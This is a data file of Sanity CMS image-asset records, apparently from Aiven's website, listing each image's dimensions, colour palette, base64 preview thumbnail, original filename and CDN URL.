{"_createdAt":"2023-05-26T12:52:28Z","_id":"image-a315c2be874b3ceebef8ad2dedd9e8ebf0735b66-40x40-svg","_rev":"Bg5HPBiLdZofLBzDE7H0oN","_type":"sanity.imageAsset","_updatedAt":"2023-05-26T12:52:28Z","assetId":"a315c2be874b3ceebef8ad2dedd9e8ebf0735b66","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eLRMb%t7~qt7D*t7jufQjufQ~qfQ4nfQM{t7jufQjufQD*fQM{fQ?b","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":40,"width":40},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAABZ0lEQVQ4jbWVwU7CQBRF+QqpLSvXsDJiJLrgB9SAJupStkBCF03U3/CHiF+CRUKBhFpcFd6MOaU1RC2JZljc9OXOfZfememjMPCDlv827QxHs+5wNGv/E11/OO0MXoNWAbNgMq+H7x/lPMzDRYJtmmAyr2NawB1Ca72ntba01sU/wqIXD7wwbKeG1molJRHliIgjStlKaTuOl04ULUqAGo61RCPKoYfe1LC9aVhEoNZim2e//3LQ63m1q+u7c0ANt6kRUQ69OYb8qtha633gut7JUfX0qVw5fAbUcNk6WhHZYpjEVInheByUms3bi9ToEVDDsYYmeUOV6H83ZH+I5Lpejcbq8dkDJo3GzSWghmMNzTq+zjdk09mn7zHh8vg4Xv6MzB2D5CTZ/Cwmb5UdRHZAcFl8tFG0IH4Rj90ZhqYjh7s6FDF9bcT4xRazn55lajh0jY4vhqKBAVv5GrCMbQojfwH+5P4TYQQXar1PUNQAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#343434","foreground":"#fff","population":0.06,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3d4147","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c4c7cc","foreground":"#000","population":0.31,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c4c7cc","foreground":"#000","population":0.31,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b7bbc1","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c7c7c","foreground":"#fff","population":0.06,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#767d88","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"icon-hipaa.svg","path":"images/sczeoy4w/production/a315c2be874b3ceebef8ad2dedd9e8ebf0735b66-40x40.svg","sha1hash":"a315c2be874b3ceebef8ad2dedd9e8ebf0735b66","size":1238,"uploadId":"z58HVz4dllvd0fIu6xgVr7FYeskTOV0W","url":"https://cdn.sanity.io/images/sczeoy4w/production/a315c2be874b3ceebef8ad2dedd9e8ebf0735b66-40x40.svg"} {"_createdAt":"2022-09-26T14:36:59Z","_id":"image-a3765254fd1f1d190c7780d989c6eeb2197147af-1200x630-jpg","_rev":"sI1gFaRN7B5HWmjll9V8AV","_type":"sanity.imageAsset","_updatedAt":"2022-09-26T14:36:59Z","assetId":"a3765254fd1f1d190c7780d989c6eeb2197147af","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MAQm0Ryss:vz.9x]IAt,xuRPx_DhV?-;NZ","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAMECP/EACAQAAICAQQDAQAAAAAAAAAAAAECAAMEBREhMRNBUpH/xAAVAQEBAAAAAAAAAAAAAAAAAAABAv/EABoRAAMBAAMAAAAAAAAAAAAAAAECEQASITH/2gAMAwEAAhEDEQA/ANCW4Lu7EZl6BjvsD1JcnIv08qjWl6/txuTLqgBkuef2My0WzGtV1BBU9ymHIal6aZNOZ5UDJU5B9gdwhpKhNOoVeAFhEWZaKxE83//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4a4e55","foreground":"#fff","population":0.09,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3f5685","foreground":"#fff","population":0.12,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f5760f","foreground":"#fff","population":1.73,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a1cecc","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f8c553","foreground":"#000","population":0.05,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6c949c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f5760f","foreground":"#fff","population":1.73,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Press_Room_meta_preview.jpg","path":"images/sczeoy4w/production/a3765254fd1f1d190c7780d989c6eeb2197147af-1200x630.jpg","sha1hash":"a3765254fd1f1d190c7780d989c6eeb2197147af","size":31865,"uploadId":"JodHJ4rgB4mEYISdX4tgNFpkyQsZ2TBu","url":"https://cdn.sanity.io/images/sczeoy4w/production/a3765254fd1f1d190c7780d989c6eeb2197147af-1200x630.jpg"} {"_createdAt":"2022-06-30T19:59:14Z","_id":"image-a39318a455ef6abcef1b4ddcb4151e5becaea2fb-417x346-png","_rev":"QRl2cGoCgj0FlAhkRrhwTL","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:22:33Z","assetId":"a39318a455ef6abcef1b4ddcb4151e5becaea2fb","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eqJ|G1j[[=ju;#$QjtWofQaz|HjtODjtN^wyfQWpfQa|;#jtN^jtSM","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.2052023121387283,"height":346,"width":417},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAARCAYAAADdRIy+AAAACXBIWXMAAAsTAAALEwEAmpwYAAAC9UlEQVQ4jY2Uy44bRRSG/TSJxt1dfW+33e3MYDsh43a7L+6LPWMniCfgDYhgiQARLgt2SBnYIDZIPAA7suASIcEIhIQGkgXhFkJIAuFD1ZkZSJTJsPi6Sq1Tf/11Tp1q/e3MeJh7/5NHrW3Jz1/OjFt2zi9Wxk/7/HgMMuZnK+OGnXHbzg83aN1z8ubnFTPjAyvlXSfhHTthx0jZEUfztkTPeF/P+NLMGkNStHXXztgzEy7pKc84GefDhCxIGRs5Y2V2JNH++LSa855IuG6m/GnntG5ZKbt6zAvalIk5I+gW2N0KYc0R4mFqhL4/qhWKUnJayXlTnbJnxNy2M1q/WQmfi4jnlZh1UeJ423SDJX5vhecv6fgH8xW2t8Lxz+N4K0xjgaZWjJSc15UJ3+gTpLnWDTPhMzHmQntCqBa4TsUgLBiGBf1uSb9Xsb4+Jzi1jRes8MJzeL0lbmcLw6wbwYtKxNci4ncp+Ks55VNtzLNSUJnhGjM23CkbbkzPSuhYOd1uiR/M8XoLvHALL1g0mE7NSM15RYn4SkTcfEBQmdDXCkyjxjFKbL3AFAWGqDCMunFjmNUDCFExVA4Ex9y0kn8FL6gx6+Ycu3MOt7PCdpdNrhxvie1sY5oLdK1GU0rUdoHWLlDaJcP2MYIdf5uN/pyNsCYMFvTD+/j+Asuao+vSWYkuKjStfIxDJW6O7FoFA3/K0J8Suik9b0bQK+kGNW53ge3Nsd0apzPHtGtG2v2iHOZQVvmKGPOcGnNK5lAr8PSUjpFiiwxTzLDMEsuusJwa05JUWHaNblScVnNe/W+Vpc1dEfGGGrGlJIzbCZtrMWcPmT6SzbVpE/tUO+aSMubbg3v4h5Vy1Yj5UN3krbUzXDw55KUTA15seOJIXj4x4LWTI3baZ7isbfKDEXNHdspdO0ce+3s94gv1ST5uj7jcHvLR2uCxyJhPlBG72lmu6ZMmf00vyxdC9qAUlbtc1SO+E2P2jkHGXNMjrhsxsn3v7L82/wAQx7smZ+Z9ZQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2c2c54","foreground":"#fff","population":19.29,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#945c0c","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#2c2c54","foreground":"#fff","population":19.29,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#92a8c2","foreground":"#000","population":0.82,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f4534e","foreground":"#fff","population":0.02,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a5764e","foreground":"#fff","population":0.31,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc3353","foreground":"#fff","population":15.07,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"a39318a455ef6abcef1b4ddcb4151e5becaea2fb-417x346.png","path":"images/sczeoy4w/production/a39318a455ef6abcef1b4ddcb4151e5becaea2fb-417x346.png","sha1hash":"a39318a455ef6abcef1b4ddcb4151e5becaea2fb","size":42774,"uploadId":"tLyr1QCx8GsnRR6gj4JJRBiSJkrkAtKz","url":"https://cdn.sanity.io/images/sczeoy4w/production/a39318a455ef6abcef1b4ddcb4151e5becaea2fb-417x346.png"} {"_createdAt":"2024-08-30T08:24:14Z","_id":"image-a3db52f5bd47185dfac6569d410c3505657f0b3b-1783x1520-png","_rev":"ue91KDsQT6iQBDv0biFXVW","_type":"sanity.imageAsset","_updatedAt":"2024-08-30T08:24:14Z","assetId":"a3db52f5bd47185dfac6569d410c3505657f0b3b","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eJEVnD#-EJOZE0.TW=jDoLMwBMJ.Z{wbrV+;wcT3SiNHZew]awN_N#","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.1730263157894736,"height":1520,"width":1783},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAARCAYAAADdRIy+AAAACXBIWXMAAAsTAAALEwEAmpwYAAAFXUlEQVQ4jR2PeUxTdwCAfw4BFZ2iOIZEdFNhm0MxsJnFuGWZ2dTpVI629KCv7et9cogFBAotcpQeFHAVJ4dDuUERwQOQQ5Gj77WAQ5TNGKeIvIOxsDjc7FvY/1++fB84nY+B3BIcZFtwrywztqqkEvesaiLetVcTW89dIvxr28jl8boZQFEUaOggvS7UEf5lNcSmqiZiVV4J7q0zYT5ZZmx5/lkcpBsxAOYW50HTTdLDXk2sLa7A/SobCZ+W26TP5VZiw+VWYt25S4T36QLMM9uCeVY2EitqrhG+dddJ3yudpE9lI7G+7DIRUNVE+PSjc8s48lkAmm+RoL2X9GroINfWtBIbGjrI1eX1xArrT/iaQju+LseGrzdY8Y0GK+53xob7Gu34uuIKfPUSd7WL3HSlk9zSdof0vXWP9Fi6BQBQoL4d8yivJ1aWXsTXmspwX70V35hZiAXoTFig7QK5pb51Prim5Y/thXYiKMOIBepMeICpDPevaCACa9uIgOZbxJrWbtzDVkEBoLeSXtkWwifLjPvpTFiQzoTt0Jmw4MxCbJvBSmyubV0IcowvfjTkWgwpr/tzs86ELzHbs8xYiN6KB+cU4VtybPiGHBuxSm8lPUHKmRe7UnNffJJpnPk02/QqTG9+FZZjmf04x/zqw1TD70HqlMmQxJSxzxNTxyPUaVPbU3NfBhks2Da9BduZZcLCdIWzu9MLZnam5k7vTMubDgcJmU80ypRHR5Kyn4Wlm+dDtQVze5SZ058xFY+/Oshy0g4f79bGHmk+S/u+1XboRF/8UY7zBKSe2h+f9TIi3UiE6Ux4aGLmkwhV2lRMsv5ZBlClTVm5SicjDu4LNcjqI0pgKz0vrigNptVVHI7s6j0W3fVETG+ZE8RcIw5F9j46EHn39onYHjtP0J0kkvYfg2TI7mjB0B5B/JgoUff0IpAlT1TK4+pTzh/lSO5FfZk7ytrfPsQ++LiWxp8zRBveJHJ+pjTidkos6qZiOZ0UM/bqopxbjafAZQ+0fHuTgn0+gxFTK2aLBvSa9N9agDRh7L6WZR9s+OHo+KOo4JdznK2vF3gfuKeZO6jh6L1UNYPvTucWu5W8Gnciv9ytg4soizyfKlWfeWuW5S5k8M3PxeyLLq6wd1CZ+qsDqLSTTQlws8NIS51tio5+M0zfR03Qd1HO6FCqK3Kvu4Z2zF3EUrjzOCnufG6qu5B/2m2WGCiT3EgZpDZ3Mlz+twRufSFSjQzEZzytBUm6p99KNY5Eifh2c4Kg4WFWXPFsHi1j4Uz0yX/yaWqqiCWjfoSkVCkkp4zsBCqdpXcnxJ1bVMGN8zLJjeewpAeFlcNVCu2k+JTh+X7AkjgjOHKXkqcea+arxxx8BTIECXsH+bz2STmvDjsF2V/roIK3mVzjvyehsr+kvIYZHtw5zpeP9MOasbs81Wg/pHRVcBWjHJbEGQLosONbphjJ5inQGzylc4Ajc3XFyV0dkNLZB6ucIxLloEsm7X4ok/VMiJXDToHKOQwpnXe4Ctd1SOnq4qtc9yGFs40tRbUMoWMfYAiR95liJIIjRWNYEkTDEiOlXDnaCSmcKKQc7RdofrkmOTnZIkp82MJTPbgOKUeXBAhbirYzxYiFI0PVXLmTxpGh4bEiZONSITjOGV4WBY1402GHP0uC7ouToWK2FNWzJEiJQO1qliWP3xPGj/axpWgtS4JY2VI0kyVBuQwhEk6HHX4xAod3FDSyjCFEwP9CxalxEP5NLwBAA2JFiAdTjPjQYUcgU4wcgDWufGnSaA+scd1kS9E0hhD5giFE3mMIkZVMMfLO3u/6wdfHB4BWP7F0C/4DDwvccZ3NqLQAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3a3e6a","foreground":"#fff","population":4.13,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0d1559","foreground":"#fff","population":0.26,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#99646d","foreground":"#fff","population":6.49,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c69892","foreground":"#000","population":0.31,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9399e7","foreground":"#000","population":1.04,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#99646d","foreground":"#fff","population":6.49,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f24f07","foreground":"#fff","population":3.66,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"aiven-marketecture-for-stream-dark-theme.png","path":"images/sczeoy4w/production/a3db52f5bd47185dfac6569d410c3505657f0b3b-1783x1520.png","sha1hash":"a3db52f5bd47185dfac6569d410c3505657f0b3b","size":127687,"uploadId":"NRDOlEfR2W67z250YsPT0Y0PuWKZmBrd","url":"https://cdn.sanity.io/images/sczeoy4w/production/a3db52f5bd47185dfac6569d410c3505657f0b3b-1783x1520.png"} {"_createdAt":"2024-02-19T16:24:04Z","_id":"image-a3dba89fcee160a4822332c29f57693b6f2aa807-1280x720-jpg","_rev":"IWll06JTQ4C3MRhtUMBzS4","_type":"sanity.imageAsset","_updatedAt":"2024-02-19T16:24:04Z","assetId":"a3dba89fcee160a4822332c29f57693b6f2aa807","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"M6S$lnwhpKo}8w?w4.DiR5WU9bM}IUM|t8","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":720,"width":1280},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAFwABAQEBAAAAAAAAAAAAAAAAAwACCP/EAB4QAAICAgMBAQAAAAAAAAAAAAECAAMEERIhMRNx/8QAFAEBAAAAAAAAAAAAAAAAAAAAAf/EABcRAQEBAQAAAAAAAAAAAAAAAAARASH/2gAMAwEAAhEDEQA/AOncPDTENj/Rm5dnkYmO6uWAbl3uMyKyMrDan0QKcWiolq61Uka2IbaeQ3ZJ03UpjFULSAPP2UaH/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#477f54","foreground":"#fff","population":0.07,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#72121c","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#dc263a","foreground":"#fff","population":0.15,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a2c0b2","foreground":"#000","population":0.04,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#91b5ed","foreground":"#000","population":0.06,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#546caa","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dc263a","foreground":"#fff","population":0.15,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"yt-thumbnail-google-cloud-partner-2023.jpg","path":"images/sczeoy4w/production/a3dba89fcee160a4822332c29f57693b6f2aa807-1280x720.jpg","sha1hash":"a3dba89fcee160a4822332c29f57693b6f2aa807","size":77379,"uploadId":"vh7TZ3gNRa0o42fKgqu9GyELaiE6hHAE","url":"https://cdn.sanity.io/images/sczeoy4w/production/a3dba89fcee160a4822332c29f57693b6f2aa807-1280x720.jpg"} {"_createdAt":"2023-09-06T08:32:12Z","_id":"image-a3fe609731724ccb4c80155e42c1ddb14af36608-2779x933-png","_rev":"jBJgpqpGruZvOgVMUB6X5C","_type":"sanity.imageAsset","_updatedAt":"2023-09-06T08:32:12Z","assetId":"a3fe609731724ccb4c80155e42c1ddb14af36608","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.9785637727759915,"height":933,"width":2779},"exif":{"ColorSpace":1,"PixelXDimension":2779,"PixelYDimension":933,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAYAAAAIy204AAAACXBIWXMAABYlAAAWJQFJUiTwAAAA6ElEQVQokZWR227EIAxE+f+frCpVm6ZJA8bGXJLNVCa72V5UVX04IGTjGdtOVREjg4ggImhtxb7v/6K1Kyg2+FDhaq1QzZ2cK0ppqHW7sZ6Y0GfWdcO2XTssDS+XhKdnhkspg4jBrGDOWHzCPAumDmN+j/CeEWO65Sjsz128lAaRimlOGN8ELkbBshCIBD4IxpEwDB6Xwfd7ePWYJosniOQT1foFkdzFHHNCIOkP+7Qsh6MQBCFYLCFGc1V+FPleUETh7DCXdwVzerRVelsP2q9YQcu3UTibgWo553EvcCznsZS/OPIbPgC04x8cBt7IZAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5c5d6c","foreground":"#fff","population":0.03,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#414ba1","foreground":"#fff","population":0.2,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#afafd1","foreground":"#000","population":0.26,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#afafd1","foreground":"#000","population":0.26,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a0a7eb","foreground":"#000","population":0.12,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#626c95","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3e4cc2","foreground":"#fff","population":0.04,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"flink-bq-goto-flink-ui.png","path":"images/sczeoy4w/production/a3fe609731724ccb4c80155e42c1ddb14af36608-2779x933.png","sha1hash":"a3fe609731724ccb4c80155e42c1ddb14af36608","size":156945,"uploadId":"pR1MqZmYwf6bA1gKdN7yTsfi9fgrBgSH","url":"https://cdn.sanity.io/images/sczeoy4w/production/a3fe609731724ccb4c80155e42c1ddb14af36608-2779x933.png"} {"_createdAt":"2022-06-14T14:41:06Z","_id":"image-a436bb3768d50248a7f08d5311086c9582deabd2-205x205-png","_rev":"qkpX9b3U0TpOGFQp8XG1dP","_type":"sanity.imageAsset","_updatedAt":"2022-06-14T14:41:06Z","assetId":"a436bb3768d50248a7f08d5311086c9582deabd2","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eFO8F5x,2BsV1cEAj01bS4-70}V|S1WVJ9}TbYwzj?$i1cWV]nj?$i","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":205,"width":205},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAABcRAAAXEQHKJvM/AAAE50lEQVQ4jUWUa2zb1RnGXzslLWR0NNC0JYW21KRuYpaUnr8vcRwnTuMkdmzHfp04ddM2acMWRNMLXf5tV22aVgRZVxjXIcYulFYwpRP7QLVpfNjUCQ2QkPgAEqBBBfvApmnVPlRIK7i/M9lNuyM9eqVzjn563udcRETElvxiu1JiwzkhsFvsaECsox4c9eKoWKNyrRbFOkUvRj1cn3OKN3RjYIqLi7VNdTjajKMxHO3HUT+O3ozRWzDaitF+jEYxuhqjdTXwov4PjGTFbp4SskYIjdxJsLALR1/E0ddxdB5Hw5iajmP0HEYXMDqN0abrTm8AbaFd6N0mtm1K6NlWR+dwJ5HsPMH8c5jiG5jiBRx1cfQAjj6F0Zcw+jZGz2LUqbZfWXRYjUbYsVHsUKfQ11PNyEtsKE5s6CdE08cI5U/iFF7D0R/g6NGaW6NzGD1dk1OMVLOrwRbrNWBFpJLZ6r2aMTfRu81PT/8B4smTRNNPEs49SrCQxhQzGD2B0VMYfRKj+zHqu2p0ScWo1zqji8Cd672UNq2i2Bal8K0EGdNKX2+E3r79xJPzxAbn6Eop4ewowcJ1lw/i1Nptw2gfRiMYXYlT9AhlXz3jLUnG/M9QDDxOvn2cjCkxFJkn2f1bEonzxJPniabPE869TrCwgKOP4OgoRncsuq2qB6NLhKnmRiY2lNju+ykl/ymKbS+Qb/8LGfN3UpF/0N/9Dr3bFogNnaNz+F3CuX8SzH+Oo3/G0Z9h9PFFFTC6XJhpHGV61VEm1x5jYsOv2N7yKaOtX5Fvt2S3XiYdfI2B6BSJxAM1p12pL4lkLaH8FRz9GEdfwOgxjLoYzQoPLf8dMyteZnrVE0yufdfuXI8t+6wd2wx6338Z6fiA7NbTpCJn6Y9/RG/fFds9iO0ctjY8UiFYeAundlBnqldJmG34BftufZqZxqeYbnqfPXd+xa67K+zYaG1pk6XY9jX5jstkzGWGIl/bZMySSFjiyQrR9BUi2fcI5p/A0Wdw9FnhUH2BQ/U/YrbhEWZWnOWBlW+zZ81H7L7rP0xsuGq3t1hGW201ApvdCulQhYGuS/T1fkg8+Ve6UqeJZE8QGvkhwXxKmPP0MOc9xeElj3Hg5lPsu/VVZhoX2Lv6ApNrL7FznaXss4z5LXqfJbflXwwH/8RgdIH+7ldIJE4SG5wnmv4xncMhwZU2XHmIOc/POVz3FoeWfsL+hgs8uOIM06veYKr5U3at+4Lyxi8o+f9GMfAHRjrOkDFvkgp/wkDXm/T1Pk984Dt0pe6tAm/hiMRx5Ryu5xKH6y5ycOnv2d9wgpnGKfaunmWy+Tg71x+n7NvHmH8SDTzGSMcfyZjPSIf+zVDnGfq7I3QPLBN7VKpQP668iCsXceVlDi8Z5+CyTmYb1jDddBt71tzB7rvvYGLDNyltamZscxcamCDf/htyWy6SMU+TDt1jk7EarKrbcKWMK7/GlSO4cg8P19cz5/Hy7ZXC3tXC5F3VZyqU/F7KvqWMt7Qw2vp9NPBL8h1KxiynGLgB9OBKE66EcSVoj8gKvlsnV3NbpAacahZ2rat9JF/K80JsUGzZdzvjLWHGNocoBm4nd7+H2W+I2CMiVHUN7MWVOlyPl4dvEg4uE/s9qdVK7n6xVWjJL4y3VP+AqtM6yj6PHekQppvEjrXK/wAKiO+A7SzRtgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3b301e","foreground":"#fff","population":0.05,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a63d0a","foreground":"#fff","population":0.19,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fa3a4e","foreground":"#fff","population":10.96,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#950312","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fa3a4e","foreground":"#fff","population":10.96,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ae5b66","foreground":"#fff","population":0.05,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fa7508","foreground":"#fff","population":2.9,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"crabby-RGB-square.png","path":"images/sczeoy4w/production/a436bb3768d50248a7f08d5311086c9582deabd2-205x205.png","sha1hash":"a436bb3768d50248a7f08d5311086c9582deabd2","size":12531,"uploadId":"ynob0QLB1RwilHXOZ3VUFJ45tDowuGwT","url":"https://cdn.sanity.io/images/sczeoy4w/production/a436bb3768d50248a7f08d5311086c9582deabd2-205x205.png"} {"_createdAt":"2023-10-02T06:27:59Z","_id":"image-a444eb2e3ad8e248609bc2e91dbd2005726e5436-6455x4303-jpg","_rev":"OlHhyDbudqKag6cjyBvPqg","_type":"sanity.imageAsset","_updatedAt":"2023-10-02T06:27:59Z","assetId":"a444eb2e3ad8e248609bc2e91dbd2005726e5436","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"VRMZO79YBCVuXm~pX9RjnhofC8$*+[Swni={s9tRI:of","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5001161980013944,"height":4303,"width":6455},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAANABQDASIAAhEBAxEB/8QAFwABAQEBAAAAAAAAAAAAAAAABgAFB//EACMQAAIBAwMEAwAAAAAAAAAAAAECBAADBQYRIRITIjFBcYH/xAAVAQEBAAAAAAAAAAAAAAAAAAAEBf/EAB0RAAICAQUAAAAAAAAAAAAAAAEDABECBCEiYfD/2gAMAwEAAhEDEQA/AFON1Bk7+qRbtWwMao2KMvlv90imz7UyXHkXEW2IjdRBbY1y4d2XFYCRetEt1Flbk/taEaSb2Wjx3UG2Bzzyx290IrfmzjQxlFTNMvEFlk+7j/Mzs60wNiYu8YoCCy/NVGm1NNsHtBiQnA8qqTRg7B3E/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#503833","foreground":"#fff","population":1.25,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a2301c","foreground":"#fff","population":4.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c0958b","foreground":"#000","population":6.48,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c0958b","foreground":"#000","population":6.48,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fccc73","foreground":"#000","population":0.02,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5683a9","foreground":"#fff","population":0.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dc7933","foreground":"#fff","population":5.89,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Kenneth-Chen-Aiven-CFO.jpg","path":"images/sczeoy4w/production/a444eb2e3ad8e248609bc2e91dbd2005726e5436-6455x4303.jpg","sha1hash":"a444eb2e3ad8e248609bc2e91dbd2005726e5436","size":19072656,"uploadId":"sjugJrwdWume6ynjAYryuV2zpvxUEZdP","url":"https://cdn.sanity.io/images/sczeoy4w/production/a444eb2e3ad8e248609bc2e91dbd2005726e5436-6455x4303.jpg"} 